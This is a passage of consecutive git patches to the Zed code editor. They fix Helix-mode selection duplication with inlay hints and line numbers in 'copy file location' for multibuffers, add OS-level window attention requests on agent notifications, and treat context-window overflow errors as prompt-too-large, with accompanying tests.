+use multi_buffer::{MultiBufferPoint, MultiBufferRow};
 use text::Bias;
 use ui::Window;
 
@@ -126,8 +126,10 @@ fn find_next_valid_duplicate_space(
             .point_utf16_to_point(PointUtf16::new(end_row, end_col_utf16))
             .column;
 
-        let candidate_start = DisplayPoint::new(candidate.start.row(), start_col);
-        let candidate_end = DisplayPoint::new(candidate.end.row(), end_col);
+        let candidate_start =
+            map.point_to_display_point(MultiBufferPoint::new(start_row, start_col), Bias::Left);
+        let candidate_end =
+            map.point_to_display_point(MultiBufferPoint::new(end_row, end_col), Bias::Right);
 
         if map.clip_point(candidate_start, Bias::Left) == candidate_start
             && map.clip_point(candidate_end, Bias::Right) == candidate_end
@@ -147,6 +149,7 @@ fn display_point_range_to_offset_range(
 #[cfg(test)]
 mod tests {
     use db::indoc;
+    use editor::{Inlay, MultiBufferOffset};
 
     use crate::{state::Mode, test::VimTestContext};
 
@@ -310,4 +313,44 @@ mod tests {
             Mode::HelixNormal,
         );
     }
+
+    #[gpui::test]
+    async fn test_selection_duplication_with_inlay_hints(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        cx.set_state(
+            indoc! {"
+               let x = «1ˇ»;
+               let y = 2;"},
+            Mode::HelixNormal,
+        );
+
+        cx.update_editor(|editor, window, cx| {
+            let buffer = &editor.snapshot(window, cx).buffer;
+            editor.splice_inlays(
+                &[],
+                vec![
+                    Inlay::mock_hint(0, buffer.anchor_after(MultiBufferOffset(5)), ": i32"),
+                    Inlay::mock_hint(1, buffer.anchor_after(MultiBufferOffset(16)), ": i32"),
+                ],
+                cx,
+            );
+        });
+
+        cx.simulate_keystrokes("C");
+
+        assert_eq!(
+            cx.display_text(),
+            "let x: i32 = 1;
+let y: i32 = 2;",
+        );
+
+        cx.assert_state(
+            indoc! {"
+               let x = «1ˇ»;
+               let y = «2ˇ»;"},
+            Mode::HelixNormal,
+        );
+    }
 }

From 1c5b2b815b5107fb4734a7286eed727ea4906e5c Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Mon, 13 Jul 2026 16:21:59 +0530
Subject: [PATCH 413/772] Use buffer line numbers when copying file locations
 (#60781)

# Objective

Fixes #54250

`editor: copy file location` copies the row you're on in the
multi-buffer, not the row in the actual file. In a git diff view with
collapsed lines it copies the wrong line number.

## Solution

It read the rows straight off the selection, which is in multi-buffer
coordinates. `ClipboardSelection::for_buffer` already handles this with
`range_to_buffer_range`, so I used the same thing. Path and line now
come from the same buffer.

`range_to_buffer_range` returns nothing when the selection ends in a
different buffer than it starts in, which you can do in a git diff view.
Rather than copy nothing, it falls back to the cursor's buffer.

## Testing

Three tests: a multi-buffer excerpt, a selection dragged across two
files, and a plain single-file editor. The multi-buffer ones fail on
main; the singleton one passes either way, so normal editors are
unaffected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed `editor: copy file location` copying the wrong line number in
multibuffers
([#54250](https://github.com/zed-industries/zed/issues/54250)).

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/editor/src/editor.rs       |  29 ++--
 crates/editor/src/editor_tests.rs | 254 ++++++++++++++++++++++++++++++
 2 files changed, 274 insertions(+), 9 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index a8ec9667ca8402..a09b4096e16c35 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -8659,19 +8659,30 @@ impl Editor {
         cx: &mut Context<Self>,
     ) {
         let selection = self.selections.newest::<Point>(&self.display_snapshot(cx));
+        let multi_buffer_snapshot = self.buffer.read(cx).snapshot(cx);
+
+        if let Some(file_location) = maybe!({
+            let (buffer, range) = multi_buffer_snapshot
+                .range_to_buffer_range(selection.range())
+                .or_else(|| {
+                    // A selection that spans multiple buffers has no single location,
+                    // so fall back to the buffer the latest cursor is in.
+                    let (buffer, point) =
+                        multi_buffer_snapshot.point_to_buffer_point(selection.head())?;
+                    Some((buffer, point..point))
+                })?;
 
-        let start_line = selection.start.row + 1;
-        let end_line = selection.end.row + 1;
+            let start_line = range.start.row + 1;
+            let end_line = range.end.row + 1;
 
-        let end_line = if selection.end.column == 0 && end_line > start_line {
-            end_line - 1
-        } else {
-            end_line
-        };
+            let end_line = if range.end.column == 0 && end_line > start_line {
+                end_line - 1
+            } else {
+                end_line
+            };
 
-        if let Some(file_location) = self.active_buffer(cx).and_then(|buffer| {
             let project = self.project()?.read(cx);
-            let file = buffer.read(cx).file()?;
+            let file = buffer.file()?;
             let path = file.path().display(project.path_style(cx));
 
             let location = if start_line == end_line {
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index bc0c36870c6021..969e1fd15732da 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -9853,6 +9853,260 @@ async fn test_clipboard_line_numbers_from_multibuffer(cx: &mut TestAppContext) {
     );
 }
 
+#[gpui::test]
+async fn test_copy_file_location_from_multibuffer(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "file.txt": "first line\nsecond line\nthird line\nfourth line\nfifth line\n",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/root/file.txt"), cx)
+        })
+        .await
+        .unwrap();
+
+    let multibuffer = cx.new(|cx| {
+        let mut multibuffer = MultiBuffer::new(ReadWrite);
+        multibuffer.set_excerpts_for_path(
+            PathKey::sorted(0),
+            buffer.clone(),
+            [Point::new(2, 0)..Point::new(5, 0)],
+            0,
+            cx,
+        );
+        multibuffer
+    });
+
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), multibuffer, window, cx)
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(0, 0)..Point::new(0, 0)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file.txt:3".to_string()),
+        "cursor on the first excerpt row should report its line in the original file"
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(1, 0)..Point::new(2, 0)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file.txt:4".to_string()),
+        "a selection ending at the start of a row should not include that row"
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(0, 0)..Point::new(2, 3)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file.txt:3-5".to_string()),
+        "a multi-row selection should report the original file's line range"
+    );
+}
+
+#[gpui::test]
+async fn test_copy_file_location_across_buffers(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "one.txt": "one\ntwo\nthree\n",
+            "two.txt": "four\nfive\nsix\n",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+    let buffer_1 = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/root/one.txt"), cx)
+        })
+        .await
+        .unwrap();
+    let buffer_2 = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/root/two.txt"), cx)
+        })
+        .await
+        .unwrap();
+
+    let multibuffer = cx.new(|cx| {
+        let mut multibuffer = MultiBuffer::new(ReadWrite);
+        multibuffer.set_excerpts_for_path(
+            PathKey::sorted(0),
+            buffer_1,
+            [Point::new(1, 0)..Point::new(3, 0)],
+            0,
+            cx,
+        );
+        multibuffer.set_excerpts_for_path(
+            PathKey::sorted(1),
+            buffer_2,
+            [Point::new(1, 0)..Point::new(3, 0)],
+            0,
+            cx,
+        );
+        multibuffer
+    });
+
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), multibuffer, window, cx)
+    });
+
+    // The multi-buffer reads "two\nthree\n\nfive\nsix\n", so row 3 is the first
+    // row of the second buffer's excerpt. Select from the first excerpt into it.
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(0, 0)..Point::new(3, 2)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("two.txt:2".to_string()),
+        "a selection spanning buffers should report the location of the cursor"
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(3, 2)..Point::new(0, 0)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("one.txt:2".to_string()),
+        "a reversed selection spanning buffers should report the cursor's location in the first buffer"
+    );
+}
+
+#[gpui::test]
+async fn test_copy_file_location_with_deleted_hunk(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+    let mut cx = EditorTestContext::new(cx).await;
+
+    cx.set_state("ˇaaa\nbbb\nccc");
+    cx.set_head_text("aaa\nXXX\nbbb\nccc");
+    cx.run_until_parked();
+    cx.update_editor(|editor, window, cx| {
+        editor.expand_all_diff_hunks(&Default::default(), window, cx);
+    });
+    cx.run_until_parked();
+
+    // Multi-buffer rows: 0 "aaa", 1 "XXX" (deleted hunk), 2 "bbb", 3 "ccc"
+    cx.update_editor(|editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(0, 0)..Point::new(2, 2)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file:2".to_string()),
+        "a selection crossing a deleted hunk should report the location of the cursor"
+    );
+
+    cx.update_editor(|editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(0, 0)..Point::new(0, 0)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file:1".to_string())
+    );
+
+    cx.update_editor(|editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(1, 1)..Point::new(1, 1)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file:1".to_string()),
+        "a cursor inside a deleted hunk has no file location, so the clipboard is unchanged"
+    );
+}
+
+#[gpui::test]
+async fn test_copy_file_location_in_singleton_buffer(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/root"),
+        json!({
+            "file.txt": "first line\nsecond line\nthird line\n",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/root/file.txt"), cx)
+        })
+        .await
+        .unwrap();
+    let multibuffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), multibuffer, window, cx)
+    });
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(1, 0)..Point::new(1, 0)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file.txt:2".to_string())
+    );
+
+    editor.update_in(cx, |editor, window, cx| {
+        editor.change_selections(Default::default(), window, cx, |selections| {
+            selections.select_ranges([Point::new(0, 0)..Point::new(2, 4)]);
+        });
+        editor.copy_file_location(&CopyFileLocation, window, cx);
+    });
+    assert_eq!(
+        cx.read_from_clipboard().and_then(|item| item.text()),
+        Some("file.txt:1-3".to_string())
+    );
+}
+
 #[gpui::test]
 async fn test_paste_multiline(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From 905e955a702707cd81a2e5bae9b381a7a9c7f614 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Mon, 13 Jul 2026 13:03:51 +0200
Subject: [PATCH 414/772] gpui: Implement window attention (#58779)

Release Notes:

- On agent notifications, the corresponding zed window will now mark
itself for OS level attention

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/agent_ui/src/agent_panel.rs            |  2 ++
 crates/agent_ui/src/conversation_view.rs      |  2 ++
 crates/gpui/src/platform.rs                   |  2 ++
 crates/gpui/src/window.rs                     |  5 ++++
 crates/gpui_linux/src/linux/wayland/window.rs |  2 ++
 crates/gpui_linux/src/linux/x11/window.rs     | 29 ++++++++++++++++++-
 crates/gpui_macos/src/window.rs               | 25 +++++++++++++---
 crates/gpui_windows/src/window.rs             | 21 ++++++++++++++
 8 files changed, 83 insertions(+), 5 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 8ff5e046a46003..bf6f61295b3ba0 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -2660,11 +2660,13 @@ impl AgentPanel {
         let settings = AgentSettings::get_global(cx);
         match settings.notify_when_agent_waiting {
             NotifyWhenAgentWaiting::PrimaryScreen => {
+                window.request_attention();
                 if let Some(primary) = cx.primary_display() {
                     self.pop_up_terminal_notification(terminal_id, &title, primary, window, cx);
                 }
             }
             NotifyWhenAgentWaiting::AllScreens => {
+                window.request_attention();
                 for screen in cx.displays() {
                     self.pop_up_terminal_notification(terminal_id, &title, screen, window, cx);
                 }
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index 7b6dd48ca65e69..baae5267649ce9 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -2860,6 +2860,7 @@ impl ConversationView {
 
         match settings.notify_when_agent_waiting {
             NotifyWhenAgentWaiting::PrimaryScreen => {
+                window.request_attention();
                 if let Some(primary) = cx.primary_display() {
                     self.pop_up(
                         icon,
@@ -2875,6 +2876,7 @@ impl ConversationView {
                 }
             }
             NotifyWhenAgentWaiting::AllScreens => {
+                window.request_attention();
                 let caption = caption.into();
                 for screen in cx.displays() {
                     self.pop_up(
diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 224fb5e20401d6..3d23df0e944cdf 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -736,6 +736,8 @@ pub trait PlatformWindow: HasWindowHandle + HasDisplayHandle {
         answers: &[PromptButton],
     ) -> Option<oneshot::Receiver<usize>>;
     fn activate(&self);
+    /// Requests that the operating system draw attention to this window.
+    fn request_attention(&self) {}
     fn is_active(&self) -> bool;
     fn is_hovered(&self) -> bool;
     fn background_appearance(&self) -> WindowBackgroundAppearance;
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 5246964274a218..249d703e98d505 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -5192,6 +5192,11 @@ impl Window {
         self.platform_window.activate();
     }
 
+    /// Requests that the operating system draw attention to this window.
+    pub fn request_attention(&self) {
+        self.platform_window.request_attention();
+    }
+
     /// Minimize the current window at the platform level.
     pub fn minimize_window(&self) {
         self.platform_window.minimize();
diff --git a/crates/gpui_linux/src/linux/wayland/window.rs b/crates/gpui_linux/src/linux/wayland/window.rs
index 675602082bb945..6d2753e131dfc5 100644
--- a/crates/gpui_linux/src/linux/wayland/window.rs
+++ b/crates/gpui_linux/src/linux/wayland/window.rs
@@ -1539,6 +1539,8 @@ impl PlatformWindow for WaylandWindow {
         }
     }
 
+    fn request_attention(&self) {}
+
     fn is_active(&self) -> bool {
         self.borrow().active
     }
diff --git a/crates/gpui_linux/src/linux/x11/window.rs b/crates/gpui_linux/src/linux/x11/window.rs
index a459ed03b5d157..4fde66f06ca858 100644
--- a/crates/gpui_linux/src/linux/x11/window.rs
+++ b/crates/gpui_linux/src/linux/x11/window.rs
@@ -18,7 +18,7 @@ use x11rb::{
     connection::Connection,
     cookie::{Cookie, VoidCookie},
     errors::ConnectionError,
-    properties::WmSizeHints,
+    properties::{WmHints, WmSizeHints},
     protocol::{
         sync,
         xinput::{self, ConnectionExt as _},
@@ -1492,6 +1492,33 @@ impl PlatformWindow for X11Window {
         xcb_flush(&self.0.xcb);
     }
 
+    fn request_attention(&self) {
+        if self.is_active() {
+            return;
+        }
+
+        let mut hints = WmHints::new();
+        match WmHints::get(&*self.0.xcb, self.0.x_window) {
+            Ok(cookie) => match cookie.reply() {
+                Ok(Some(existing_hints)) => hints = existing_hints,
+                Ok(None) => {}
+                Err(error) => {
+                    log::debug!("failed to read X11 WM_HINTS before setting urgency: {error}")
+                }
+            },
+            Err(error) => {
+                log::debug!("failed to request X11 WM_HINTS before setting urgency: {error}")
+            }
+        }
+        hints.urgent = true;
+        check_reply(
+            || "X11 ChangeProperty for WM_HINTS urgency failed.",
+            hints.set(&*self.0.xcb, self.0.x_window),
+        )
+        .log_err();
+        xcb_flush(&self.0.xcb);
+    }
+
     fn is_active(&self) -> bool {
         self.0.state.borrow().active
     }
diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index 4be73b8ce3903f..011ece9d919547 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -10,10 +10,11 @@ use block::ConcreteBlock;
 use cocoa::{
     appkit::{
         NSAppKitVersionNumber, NSAppKitVersionNumber12_0, NSApplication, NSBackingStoreBuffered,
-        NSColor, NSEvent, NSEventModifierFlags, NSFilenamesPboardType, NSPasteboard, NSScreen,
-        NSView, NSViewHeightSizable, NSViewWidthSizable, NSVisualEffectMaterial,
-        NSVisualEffectState, NSVisualEffectView, NSWindow, NSWindowCollectionBehavior,
-        NSWindowOcclusionState, NSWindowOrderingMode, NSWindowStyleMask, NSWindowTitleVisibility,
+        NSColor, NSEvent, NSEventModifierFlags, NSFilenamesPboardType, NSPasteboard,
+        NSRequestUserAttentionType, NSScreen, NSView, NSViewHeightSizable, NSViewWidthSizable,
+        NSVisualEffectMaterial, NSVisualEffectState, NSVisualEffectView, NSWindow,
+        NSWindowCollectionBehavior, NSWindowOcclusionState, NSWindowOrderingMode,
+        NSWindowStyleMask, NSWindowTitleVisibility,
     },
     base::{id, nil},
     foundation::{
@@ -1471,6 +1472,22 @@ impl PlatformWindow for MacWindow {
             .detach();
     }
 
+    fn request_attention(&self) {
+        if self.is_active() {
+            return;
+        }
+
+        let executor = self.0.lock().foreground_executor.clone();
+        executor
+            .spawn(async move {
+                unsafe {
+                    let app = NSApplication::sharedApplication(nil);
+                    app.requestUserAttention_(NSRequestUserAttentionType::NSInformationalRequest);
+                }
+            })
+            .detach();
+    }
+
     fn is_active(&self) -> bool {
         unsafe { self.0.lock().native_window.isKeyWindow() == YES }
     }
diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index 5a4129b493c1f7..49a935bafe42ed 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -820,6 +820,27 @@ impl PlatformWindow for WindowsWindow {
             .detach();
     }
 
+    fn request_attention(&self) {
+        if self.is_active() {
+            return;
+        }
+
+        let hwnd = self.0.hwnd;
+        self.0
+            .executor
+            .spawn(async move {
+                let info = FLASHWINFO {
+                    cbSize: std::mem::size_of::<FLASHWINFO>() as u32,
+                    hwnd,
+                    dwFlags: FLASHW_ALL | FLASHW_TIMERNOFG,
+                    uCount: 0,
+                    dwTimeout: 0,
+                };
+                unsafe { FlashWindowEx(&info).ok().log_err() };
+            })
+            .detach();
+    }
+
     fn is_active(&self) -> bool {
         self.0.hwnd == unsafe { GetActiveWindow() }
     }

From d7c922c4a3702a3278e24325499255e66f55d919 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Mon, 13 Jul 2026 13:08:22 +0200
Subject: [PATCH 415/772] agent: Treat context window overflows as
 prompt-too-large errors (#60525)

Map OpenAI's context_length_exceeded errors (both the in-stream error
events sent by the Responses API / ChatGPT Codex backend and HTTP 400
responses carrying the code) to
LanguageModelCompletionError::PromptTooLarge. This stops pointless
retries and surfaces the dedicated token-limit UI instead of a raw error
string.

Also record a synthetic request token usage when a completion fails with
PromptTooLarge, so the context indicator reports Exceeded rather than
the stale usage of the last successful request, and the next prompt
qualifies for auto-compaction.

Ought to help a bit with
https://github.com/zed-industries/zed/issues/59600

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/agent/src/tests/mod.rs                 | 76 +++++++++++++++++
 crates/agent/src/thread.rs                    | 32 ++++++-
 .../src/language_model_core.rs                | 40 ++++++++-
 crates/language_model_core/src/util.rs        |  7 ++
 crates/open_ai/src/completion.rs              | 83 +++++++++++++++----
 5 files changed, 221 insertions(+), 17 deletions(-)

diff --git a/crates/agent/src/tests/mod.rs b/crates/agent/src/tests/mod.rs
index 73415f55af4db8..df466b880519b5 100644
--- a/crates/agent/src/tests/mod.rs
+++ b/crates/agent/src/tests/mod.rs
@@ -3359,6 +3359,82 @@ async fn test_latest_token_usage_counts_cached_input_tokens(cx: &mut TestAppCont
     });
 }
 
+#[gpui::test]
+async fn test_prompt_too_large_marks_token_usage_exceeded(cx: &mut TestAppContext) {
+    let ThreadTest { model, thread, .. } = setup(cx, TestModel::Fake).await;
+    let fake_model = model.as_fake();
+
+    thread
+        .update(cx, |thread, cx| {
+            thread.send(ClientUserMessageId::new(), ["Message 1"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    fake_model.send_last_completion_stream_text_chunk("Response 1");
+    fake_model.send_last_completion_stream_event(LanguageModelCompletionEvent::UsageUpdate(
+        language_model::TokenUsage {
+            input_tokens: 100,
+            output_tokens: 50,
+            ..Default::default()
+        },
+    ));
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    thread.read_with(cx, |thread, _| {
+        assert_eq!(
+            thread.latest_token_usage().unwrap().ratio(),
+            acp_thread::TokenUsageRatio::Normal
+        );
+    });
+
+    thread
+        .update(cx, |thread, cx| {
+            thread.send(ClientUserMessageId::new(), ["Message 2"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    fake_model.send_last_completion_stream_error(LanguageModelCompletionError::PromptTooLarge {
+        tokens: None,
+    });
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    thread.read_with(cx, |thread, _| {
+        let usage = thread.latest_token_usage().unwrap();
+        assert_eq!(usage.used_tokens, 1_000_000);
+        assert_eq!(usage.max_tokens, 1_000_000);
+        assert_eq!(usage.ratio(), acp_thread::TokenUsageRatio::Exceeded);
+    });
+}
+
+#[gpui::test]
+async fn test_prompt_too_large_uses_reported_token_count(cx: &mut TestAppContext) {
+    let ThreadTest { model, thread, .. } = setup(cx, TestModel::Fake).await;
+    let fake_model = model.as_fake();
+
+    thread
+        .update(cx, |thread, cx| {
+            thread.send(ClientUserMessageId::new(), ["Message 1"], cx)
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    fake_model.send_last_completion_stream_error(LanguageModelCompletionError::PromptTooLarge {
+        tokens: Some(1_500_000),
+    });
+    fake_model.end_last_completion_stream();
+    cx.run_until_parked();
+
+    thread.read_with(cx, |thread, _| {
+        let usage = thread.latest_token_usage().unwrap();
+        assert_eq!(usage.used_tokens, 1_500_000);
+        assert_eq!(usage.ratio(), acp_thread::TokenUsageRatio::Exceeded);
+    });
+}
+
 #[gpui::test]
 async fn test_cumulative_token_usage(cx: &mut TestAppContext) {
     let ThreadTest {
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index fe5c9f2004cb70..8dd22ec3febecf 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -2314,6 +2314,31 @@ impl Thread {
         cx.notify();
     }
 
+    /// Records that the last request overflowed the model's context window so
+    /// the token usage indicator reports `Exceeded` instead of the stale usage
+    /// from the last successful request. Providers don't report usage for
+    /// failed requests, so we synthesize one from the reported overflow (when
+    /// available) or the model's context size.
+    fn mark_token_limit_exceeded(&mut self, tokens: Option<u64>, cx: &mut Context<Self>) {
+        let Some(model) = self.model() else {
+            return;
+        };
+        let input_tokens = tokens.unwrap_or(0).max(model.max_token_count());
+        let Some(last_user_message) = self.last_user_message() else {
+            return;
+        };
+
+        self.request_token_usage.insert(
+            last_user_message.id.clone(),
+            language_model::TokenUsage {
+                input_tokens,
+                ..Default::default()
+            },
+        );
+        cx.emit(TokenUsageUpdated(self.latest_token_usage()));
+        cx.notify();
+    }
+
     pub fn truncate(
         &mut self,
         client_user_message_id: ClientUserMessageId,
@@ -3038,7 +3063,7 @@ impl Thread {
     ) -> Result<ControlFlow<()>> {
         let retry = this.update(cx, |this, cx| {
             let user_store = this.user_store.read(cx);
-            this.handle_completion_error(error, attempt, user_store.plan())
+            this.handle_completion_error(error, attempt, user_store.plan(), cx)
         })??;
         let timer = cx.background_executor().timer(retry.duration);
         event_stream.send_retry(retry);
@@ -3228,7 +3253,12 @@ impl Thread {
         error: LanguageModelCompletionError,
         attempt: u8,
         plan: Option<Plan>,
+        cx: &mut Context<Self>,
     ) -> Result<acp_thread::RetryStatus> {
+        if let LanguageModelCompletionError::PromptTooLarge { tokens } = &error {
+            self.mark_token_limit_exceeded(*tokens, cx);
+        }
+
         let Some(model) = self.model() else {
             return Err(anyhow!(error));
         };
diff --git a/crates/language_model_core/src/language_model_core.rs b/crates/language_model_core/src/language_model_core.rs
index 991046eab08a11..36b76cf72469cf 100644
--- a/crates/language_model_core/src/language_model_core.rs
+++ b/crates/language_model_core/src/language_model_core.rs
@@ -25,7 +25,10 @@ pub use crate::rate_limiter::*;
 pub use crate::request::*;
 pub use crate::role::*;
 pub use crate::tool_schema::LanguageModelToolSchemaFormat;
-pub use crate::util::{fix_streamed_json, parse_prompt_too_long, parse_tool_arguments};
+pub use crate::util::{
+    fix_streamed_json, is_context_window_exceeded_message, parse_prompt_too_long,
+    parse_tool_arguments,
+};
 pub use gpui_shared_string::SharedString;
 
 /// A completion event from a language model.
@@ -241,7 +244,13 @@ impl LanguageModelCompletionError {
         retry_after: Option<Duration>,
     ) -> Self {
         match status_code {
-            StatusCode::BAD_REQUEST => Self::BadRequestFormat { provider, message },
+            StatusCode::BAD_REQUEST => {
+                if is_context_window_exceeded_message(&message) {
+                    Self::PromptTooLarge { tokens: None }
+                } else {
+                    Self::BadRequestFormat { provider, message }
+                }
+            }
             StatusCode::UNAUTHORIZED => Self::AuthenticationError { provider, message },
             StatusCode::FORBIDDEN => Self::PermissionError { provider, message },
             StatusCode::NOT_FOUND => Self::ApiEndpointNotFound { provider },
@@ -646,6 +655,33 @@ mod tests {
         }
     }
 
+    #[test]
+    fn test_from_http_status_maps_context_length_exceeded_to_prompt_too_large() {
+        let error = LanguageModelCompletionError::from_http_status(
+            String::from("OpenAI").into(),
+            StatusCode::BAD_REQUEST,
+            r#"{"error":{"type":"invalid_request_error","code":"context_length_exceeded","message":"Your input exceeds the context window of this model. Please adjust your input and try again.","param":"input"}}"#.to_string(),
+            None,
+        );
+
+        assert!(matches!(
+            error,
+            LanguageModelCompletionError::PromptTooLarge { tokens: None }
+        ));
+
+        let error = LanguageModelCompletionError::from_http_status(
+            String::from("OpenAI").into(),
+            StatusCode::BAD_REQUEST,
+            "Invalid request.".to_string(),
+            None,
+        );
+
+        assert!(matches!(
+            error,
+            LanguageModelCompletionError::BadRequestFormat { .. }
+        ));
+    }
+
     #[test]
     fn test_from_cloud_failure_with_standard_format() {
         let error = LanguageModelCompletionError::from_cloud_failure(
diff --git a/crates/language_model_core/src/util.rs b/crates/language_model_core/src/util.rs
index 3db2e0b76fd760..3178deccbd0363 100644
--- a/crates/language_model_core/src/util.rs
+++ b/crates/language_model_core/src/util.rs
@@ -48,6 +48,13 @@ pub fn parse_prompt_too_long(message: &str) -> Option<u64> {
         .ok()
 }
 
+/// Recognizes OpenAI-style context window overflow errors, which arrive either
+/// with the `context_length_exceeded` error code or a "Your input exceeds the
+/// context window of this model" message.
+pub fn is_context_window_exceeded_message(message: &str) -> bool {
+    message.contains("context_length_exceeded") || message.contains("exceeds the context window")
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
diff --git a/crates/open_ai/src/completion.rs b/crates/open_ai/src/completion.rs
